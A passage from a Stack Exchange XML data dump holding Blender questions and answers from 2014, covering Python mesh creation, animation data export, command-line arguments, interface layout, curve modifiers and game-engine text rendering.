LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-12-23T12:47:39.367" Title="Create gridlines in Python" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8391" PostTypeId="2" ParentId="8390" CreationDate="2014-04-07T22:00:33.027" Score="7" Body="&lt;p&gt;You can create a grid primitive and remove the faces:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;sce = bpy.context.scene&#xA;&#xA;me = bpy.data.meshes.new(&amp;quot;Grid&amp;quot;)&#xA;bm = bmesh.new()&#xA;bmesh.ops.create_grid(bm, x_segments=32, y_segments=32, size=50)&#xA;bmesh.ops.delete(bm, geom=bm.faces, context=3)&#xA;bm.to_mesh(me)&#xA;&#xA;ob = bpy.data.objects.new(&amp;quot;Grid&amp;quot;, me)&#xA;sce.objects.link(ob)&#xA;sce.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will give you a grid at origin, dimension x/y 100 and with 1024 vertices.&lt;/p&gt;&#xA;&lt;br&gt;&#xA;&lt;h2&gt;from_pydata():&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;it creates primitives from verts+faces, not verts+edges&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can either pass two sequences for verts and faces, or you give it verts and edges - it should work the same.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-07T22:00:33.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8392" PostTypeId="2" ParentId="8387" CreationDate="2014-04-07T22:14:41.797" Score="19" Body="&lt;p&gt;A common way to get the animation data is to loop over the scene's frame range and read the matrices for every single frame. This is okay most of the time, and way easier to do than reading the F-Curve data directly (which won't include F-Curve modifiers and Drivers AFAIK).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume the Armature object is currently active:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;sce = bpy.context.scene&#xA;ob = bpy.context.object&#xA;&#xA;for f in range(sce.frame_start, sce.frame_end+1):&#xA;    sce.frame_set(f)&#xA;    print(&quot;Frame %i&quot; % f)&#xA;&#xA;    for pbone in ob.pose.bones:&#xA;        print(pbone.name, pbone.matrix) # bone in object space&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.PoseBone.html#bpy.types.PoseBone.matrix&quot;&gt;bpy.types.PoseBone.matrix&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may use the utility function &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.Object.html?highlight=convert_space#bpy.types.Object.convert_space&quot;&gt;convert_space&lt;/a&gt; to avoid fancy matrix math.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-07T22:14:41.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8393" PostTypeId="2" ParentId="8390" CreationDate="2014-04-08T00:52:35.343" Score="4" Body="&lt;p&gt;I've just completed a similar project. Here's what I had:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;# allows reading csv files&#xA;import csv&#xA;# currentstep is a csvfile with directory ie &quot;C:\myfile.csv&quot;&#xA;with open(currentstep) as csvfile:&#xA;    csvreader = csv.reader(csvfile, delimiter=',')&#xA;&#xA;    #skip header row&#xA;    next(csvreader)&#xA;&#xA;    #for each row, set x,y,z coordinates&#xA;    for row in csvreader:&#xA;        x=float(row[0])/100&#xA;        y=float(row[1])/100&#xA;        z=float(row[2])/100&#xA;&#xA;        #create vertex&#xA;        vert = ( x,y,z )&#xA;&#xA;        #append vertice to list of vertices&#xA;        verts.append(vert)&#xA;&#xA;# CLONE ARRAY&#xA;vertsclone = list(verts)&#xA;&#xA;# INDEX ARRAY edge from a to b&#xA;averts = []&#xA;bverts = []&#xA;&#xA;# loops through vertices and connects them according to rule &#xA;# (rule = X &amp;amp; Y are equal)&#xA;while vertsclone:&#xA;    currentvert = vertsclone.pop()&#xA;    for vert in vertsclone:&#xA;        # check if x and y are equal; if so, add one vertex to averts,&#xA;        # the other to b vertices&#xA;        if currentvert[0] == vert[0] and currentvert[1] == vert[1]:&#xA;&#xA;            averts.append(verts.index(currentvert))&#xA;            bverts.append(verts.index(vert))&#xA;&#xA;            vertsclone.pop(vertsclone.index(vert))&#xA;&#xA;# take list averts and list bverts and create edges by linking them together &#xA;# in indexed list (ie vertex 1 links to vertex 8)&#xA;edges = list(zip(averts,bverts))&#xA;&#xA;# Create mesh&#xA;mesh = bpy.data.meshes.new(&quot;csv_input&quot;)&#xA;object = bpy.data.objects.new(&quot;csv_input&quot;,mesh)&#xA;bpy.context.scene.objects.link(object)&#xA;&#xA;# create mesh data from python csv&#xA;# Verts are (x,y,z) Edges are 2-dimension lists of indices, ie (1,2); faces&#xA;# are n-dimension lists of vertices ie (1,2,3,4)&#xA;mesh.from_pydata(verts,edges,faces)&#xA;mesh.update(calc_edges=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can modify the above at the Create Mesh step with whatever your rule for create the edges. In your case, you'll likely just create a set of vertices, and connect them as you go in a square pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to remember is that an edge is defined by a list of &lt;em&gt;vertex indices&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with mesh.from_pydata(verts,edges,faces) you can import any type of mesh data. If you just add vertices, it'll only create those. If you only add vertex and edges, you'll only get that. If you do vertex and faces, edges will be generated for themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#mesh data for mesh.from_pydata&#xA;verts = [(1.3,3.2,4.2),(3.3,3.4,2.1),(3.3,3.8,3.6)]&#xA;edges = [(1,2),(2,3)]&#xA;faces = [(1,2,3)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2454" LastEditorUserId="47" LastEditDate="2015-12-23T12:44:25.323" LastActivityDate="2015-12-23T12:44:25.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8394" PostTypeId="2" ParentId="8384" CreationDate="2014-04-08T02:03:55.557" Score="26" Body="&lt;h2&gt;&lt;strong&gt;Info Header&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Info header is the header bar that contains the File menu option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each window in Blender has a header bar and the type of window is set by the first icon on the left-most side of every header. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in this picture, the different windows are highlighted in yellow and the Window Type icon for each is highlighted in green:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jh48P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to change any window from one type to another, just click on the Window Type icon and select the type of window you want to have. In your case, you will need to set one window to Info since it has the File menu option so you can restore the factory defaults by clicking: File &gt; Load Factory Settings. Here is what the Info icon looks like:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MBkxL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; It is also possible to hide the header by dragging it's top edge down. This leaves a small grey tab with a + sign in it on the right-hand side of the window. Clicking on this + tab brings the header back into view:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6bXkA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about header bars &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Window_system/Headers&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; in the Blender Wiki.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Manually Rearranging Windows&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;However, you can also manually close windows or open new ones by dragging on the  window splitter widgets (they look like a little ridged thumb grip) in the upper right and lower left corners of every window:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/spSxz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a demonstration of how to drag the window splitter widgets to open and close different windows, as well as how to change these windows from one type of window to another by changing the Window Type icon:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LtByB.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can learn more about how to manually arrange window frames the way you would like them &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Window_system/Arranging_frames&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also check out the answers &lt;a href=&quot;https://blender.stackexchange.com/questions/8372/how-do-i-create-a-right-column-when-i-have-a-2-rows-layout&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/8376/is-it-possible-to-remove-a-window-that-is-lying-on-top-of-3-other-windows-in-a-r&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-04-08T02:51:27.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8395" PostTypeId="1" CreationDate="2014-04-08T04:00:51.567" Score="3" ViewCount="1047" Body="&lt;p&gt;I am currently trying to generate synthetic depth images using blender. I understand that current the z buffer can be output using the composition nodes into OpenEXR and I have successfully done that. How ever when I open the image in opencv and read the values of each pixel, it does not seems to correctly reflect the distance of the pixel from the camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read  that when Z buffer is exported into OpenEXR, each pixels contains the Z-buffer,alpha value and color render infomaitons. Is this information correct? If so how am I able to extract just the Z-buffer data?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3063" LastActivityDate="2014-04-08T04:00:51.567" Title="data formatting of Z-buffer" Tags="&lt;rendering&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2014-04-19T17:58:02.443" ContentLicense="CC BY-SA 3.0" />
  <row Id="8396" PostTypeId="1" AcceptedAnswerId="8398" CreationDate="2014-04-08T06:18:32.503" Score="4" ViewCount="3837" Body="&lt;p&gt;I need to move a mesh along a curve. I followed the steps in this tutorial: &lt;a href=&quot;http://www.youtube.com/watch?v=4z0AD_iXr1I&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=4z0AD_iXr1I&lt;/a&gt;  because is very similiar to what I want to do, but when I apply the curve modifier my mesh deforms. These are the screenshots before and after:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k8d5R.png&quot; alt=&quot;Before applying curve modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C8bcb.png&quot; alt=&quot;After applying curve modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="2821" LastActivityDate="2014-04-08T07:10:47.547" Title="Why a mesh deforms when I apply Curve modifier?" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8397" PostTypeId="2" ParentId="8264" CreationDate="2014-04-08T06:40:21.297" Score="2" Body="&lt;p&gt;Yes, you can select the hair particles and press &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Delete&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;To give credit where credit is due, thanks to Dan Eicher for pointing this out on the developer mailing list.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There does not seem to be a brush for doing this, but you can use circle select (&lt;kbd&gt;C&lt;/kbd&gt;) to select hair particles with a brush.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-08T06:40:21.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8398" PostTypeId="2" ParentId="8396" CreationDate="2014-04-08T07:10:47.547" Score="4" Body="&lt;p&gt;There are several problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;em&gt;origins&lt;/em&gt; of the curve and the object need to be in the same place.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The cylinder is rotated slightly, try rotating it so that it is horizontal.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The curve is scaled and rotated. You can fix this by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Rotation &amp;amp; Scale&lt;/em&gt; with the curve selected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rWBeq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-08T07:10:47.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8399" PostTypeId="1" AcceptedAnswerId="8415" CreationDate="2014-04-08T07:12:29.823" Score="8" ViewCount="5262" Body="&lt;p&gt;Within my game I have some cubes with text which render fine. In addition to the cubes I want to display some static text, e.g. the current score. The score text has the camera as parent and a copy rotation constraint on the camera.&lt;/p&gt;&#xA;&lt;p&gt;While this concept works fine in principle, the score text is displayed very pixelated. I already increased the font size to 50 and made the text smaller by scaling it down, but it still doesn't show nicely.&lt;/p&gt;&#xA;&lt;p&gt;The score text is about 11 Blender units away from the camera. If I move the score text further away, it displays better, but then the text interferes (collides) with the cubes.&lt;/p&gt;&#xA;&lt;p&gt;What could I do to improve the quality of this text?&lt;/p&gt;&#xA;&lt;p&gt;Download &lt;a href=&quot;http://wellisolutions.de/blender/wp-content/uploads/2014/04/PixelTextSSCCE.zip&quot; rel=&quot;noreferrer&quot;&gt;SSCCE &lt;code&gt;.blend&lt;/code&gt; file&lt;/a&gt;. Open the SSCCE in Blender 2.70. Hover your mouse over the 3D viewport. Press &lt;kbd&gt;P&lt;/kbd&gt; to start game engine.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xG0Qq.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1832" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-06-12T01:17:20.260" Title="Why is my text pixelated?" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8400" PostTypeId="1" CreationDate="2014-04-08T07:43:05.683" Score="1" ViewCount="966" Body="&lt;p&gt;When text is displayed in front of other text, the background text does not display correctly through the transparent parts of the letter. It looks like there is a surrounding box around each individual character of the text where no other text is displayed. See the &lt;code&gt;b&lt;/code&gt; example in the screenshot, where I marked the surrounding box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this behavior seems to apply to text/text relationships only. Where I have text in front of cubes, the cube color shines through correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All objects are real text objects, no images, not textures. The text objects themselves are not transparent, they are opaque. But I expect them to be, well, transparent in the holes of the letters (sorry, I'm a non-native English speaker, if you understand what I mean, you can edit this sentence).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this a bug which should be reported or can I influence this behavior somewhere?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version info: Blender 2.70, downloaded&lt;br/&gt;&#xA;Render Engine: Blender Game&lt;br/&gt;&#xA;Download &lt;a href=&quot;http://wellisolutions.de/blender/wp-content/uploads/2014/04/PixelTextSSCCE.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;SSCCE &lt;code&gt;.blend&lt;/code&gt; file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the SSCCE in Blender 2.70. Hover your mouse over the 3D viewport. Press &lt;kbd&gt;P&lt;/kbd&gt; to start game engine. Move your mouse so that the two text objects overlap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ANWec.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1832" LastEditorUserId="1832" LastEditDate="2014-04-08T12:56:57.940" LastActivityDate="2014-09-22T13:39:50.927" Title="Text in front of text transparency" Tags="&lt;game-engine&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8402" PostTypeId="1" AcceptedAnswerId="8403" CreationDate="2014-04-08T09:18:06.877" Score="20" ViewCount="127354" Body="&lt;p&gt;I need to open .stl files with blender, without importing them!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the properties of my .stl file, blender is set as &quot;open with&quot;, but when I double click on the file it just opens blender as my preset user preference (without any objects). The same happens when I drag the file over the blender icon to open it that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats funny is that if I drag and drop the file over an older version of blender (2.49) then it opens the .stl file fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="241" LastEditDate="2020-06-26T13:00:40.157" LastActivityDate="2020-06-26T13:00:40.157" Title="open .stl file with blender" Tags="&lt;import&gt;&lt;stl&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ClosedDate="2015-07-18T13:41:10.973" ContentLicense="CC BY-SA 3.0" />
  <row Id="8403" PostTypeId="2" ParentId="8402" CreationDate="2014-04-08T09:27:53.177" Score="23" Body="&lt;p&gt;Assosiating STL with Blender no longer works, you have to use &lt;strong&gt;File -&gt; Import -&gt; STL&lt;/strong&gt; now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because STL used to be written in C and loaded the same way &lt;code&gt;*.blend&lt;/code&gt; files were, but now its an addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, its possible to make a shell script or batch file which you can assosiate STL with, that calls blender with the addon, though this isnt completely straightforward and will require some small Python snippet to run the importer.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-08T09:27:53.177" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8404" PostTypeId="2" ParentId="8400" CreationDate="2014-04-08T09:31:08.683" Score="1" Body="&lt;p&gt;If only I could get more details as to what exactly you expect from the software, I might be able to answer your question right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, from you explanation, I replicated that, and I'm not seeing any problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1GVcH.png&quot; alt=&quot;My output per following your current explanation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What version of blender are you using? You built from source or downloaded from blender.org?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just set my transparency to the desired value in the materials tab in the properties panel and all seem to go well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I used the bge too.&lt;/p&gt;&#xA;" OwnerUserId="1166" LastActivityDate="2014-04-08T09:31:08.683" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8405" PostTypeId="2" ParentId="6817" CreationDate="2014-04-08T10:26:51.553" Score="64" Body="&lt;p&gt;Yes, Blender's Python can read command line arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Python can read all arguments passed to Blender via &lt;code&gt;sys.argv&lt;/code&gt;&lt;br&gt;&lt;em&gt;(just the same as you would in &lt;code&gt;Python&lt;/code&gt;)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Blender will ignore all arguments after: &lt;code&gt;--&lt;/code&gt;&lt;br&gt;&lt;em&gt;(double dash with no arguments, as documented in the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/advanced/command_line/arguments.html#misc-options&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;--help&lt;/code&gt;&lt;/a&gt; message)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Scripts can check for &lt;code&gt;--&lt;/code&gt; in &lt;code&gt;sys.argv&lt;/code&gt; and ignore all arguments beforehand.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Example:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Script: &lt;code&gt;mytest.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;argv = sys.argv&#xA;argv = argv[argv.index(&quot;--&quot;) + 1:]  # get all args after &quot;--&quot;&#xA;&#xA;print(argv)  # --&amp;gt; ['example', 'args', '123']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Execute like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background test.blend --python mytest.py -- example args 123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Having spaces around &lt;code&gt;--&lt;/code&gt; is important, this is a signal that Blender should stop parsing the arguments and allows you to pass your own arguments to Python.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Further information:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For a more comprehensive script example, &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/scripts/templates_py/background_job.py&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;background_job.py&lt;/code&gt;&lt;/a&gt; is a Python template which comes with Blender,&#xA;this uses Python's &lt;a href=&quot;https://docs.python.org/3/library/argparse.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;argparse&lt;/code&gt;&lt;/a&gt; module, for more flexible handling of arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have comprehensive arguments for your script with a &lt;code&gt;--help&lt;/code&gt; message, Look into &lt;a href=&quot;https://docs.python.org/3/library/argparse.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;argparse&lt;/code&gt;&lt;/a&gt;, general Python docs on the module can be used.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: if &lt;code&gt;--&lt;/code&gt; is not always needed, you can check for it like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;argv = sys.argv&#xA;try:&#xA;    index = argv.index(&quot;--&quot;) + 1&#xA;except ValueError:&#xA;    index = len(argv)&#xA;&#xA;argv = argv[index:]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that using &lt;code&gt;argparse&lt;/code&gt; is optional, you can simply do checks such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if &quot;--myarg&quot; in argv:&#xA;    do_stuff()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... but I've found as soon as you want to pass values to arguments, this becomes a hassle and its generally better of to use &lt;code&gt;argparse&lt;/code&gt; to begin with, unless...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You're making a quick test and only need primitive argument handling.&lt;/li&gt;&#xA;&lt;li&gt;You have a good reason to spend time doing your own argument parsing, and &lt;code&gt;argparse&lt;/code&gt; can't handle your use-case.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-08-26T02:53:16.547" LastActivityDate="2017-08-26T02:53:16.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8406" PostTypeId="1" CreationDate="2014-04-08T10:39:20.753" Score="1" ViewCount="988" Body="&lt;p&gt;I want to use a different style of projection, to achieve this effect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.boacompra.com/uoljogos/images/screenshot/tibia/shot10.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;effect http://www.boacompra.com/uoljogos/images/screenshot/tibia/shot10.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to create a projection matrix for it, but I don't know how to set that matrix on blender. How is it possible?&lt;/p&gt;&#xA;" OwnerUserId="3057" LastActivityDate="2014-04-08T12:36:29.813" Title="How can I have a custom projection matrix?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2014-04-08T20:19:15.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="8407" PostTypeId="1" AcceptedAnswerId="8447" CreationDate="2014-04-08T11:02:36.223" Score="17" ViewCount="1725" Body="&lt;p&gt;&lt;strong&gt;How can I remove personal data from a &lt;code&gt;.blend&lt;/code&gt; file?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was asked to upload a &lt;code&gt;.blend&lt;/code&gt; file in order to reproduce the issue. I removed all objects from the scene as far as possible and also removed all Python code as far as possible. This is good: it makes the file small, the sources for potential problems are eliminated and &lt;em&gt;you&lt;/em&gt; can focus on the real problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I look at the &lt;code&gt;.blend&lt;/code&gt; file with Notepad or a Hex editor, it shows many paths on my system, which include my user name and other information. Note that I don't have any external references to files (like textures).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For this time, I can replace the personal data in a Hex editor, however, this is not a good approach in general, because&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it only works as long as the file format does not use a &lt;strong&gt;checksum&lt;/strong&gt; to verify the integrity of the file. (So I'm lucky it works for .blend files)&lt;/li&gt;&#xA;&lt;li&gt;it only works as long as the file is not &lt;strong&gt;compressed,&lt;/strong&gt; because changing a compressed file breaks the compression. (Strange enough that the .blend file is still the same even if I use compression)&lt;/li&gt;&#xA;&lt;li&gt;if you accidentally &lt;strong&gt;delete&lt;/strong&gt; a character (so that the file becomes smaller), the file becomes invalid&lt;/li&gt;&#xA;&lt;li&gt;you need to &lt;strong&gt;know&lt;/strong&gt; in advance what you're looking for (you need to know the search term) - and there might be many&lt;/li&gt;&#xA;&lt;li&gt;it's a lot of &lt;strong&gt;work&lt;/strong&gt; to do for something which doesn't bring additional benefit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1832" LastEditorUserId="1832" LastEditDate="2014-04-08T12:19:40.883" LastActivityDate="2018-09-10T14:47:41.700" Title="How to remove personal data from a blend file" Tags="&lt;customization&gt;&lt;blend-files&gt;&lt;file-format&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8408" PostTypeId="2" ParentId="8384" CreationDate="2014-04-08T11:10:00.080" Score="10" Body="&lt;p&gt;While I can't see your layout to know exactly what to do there are a few options available that you may easily recover from.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have hidden the header of the info window you can unhide it by clicking the &lt;img src=&quot;https://i.stack.imgur.com/EdcNj.jpg&quot; alt=&quot;+ button&quot;&gt; in the right hand side on the window.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(for 2.70 or later) If you have collapsed the menus you can still access them by clicking the little three bar icon in the header.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j0Fkc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;By right clicking the same icon you can un-collapse the menus.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4CXrR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(before 2.70) Instead of collapse menus we had a hide menus option that shows as a little + in a circle. Click it to un-hide the menus.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N5myE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the worst case scenario where the above doesn't help and you have 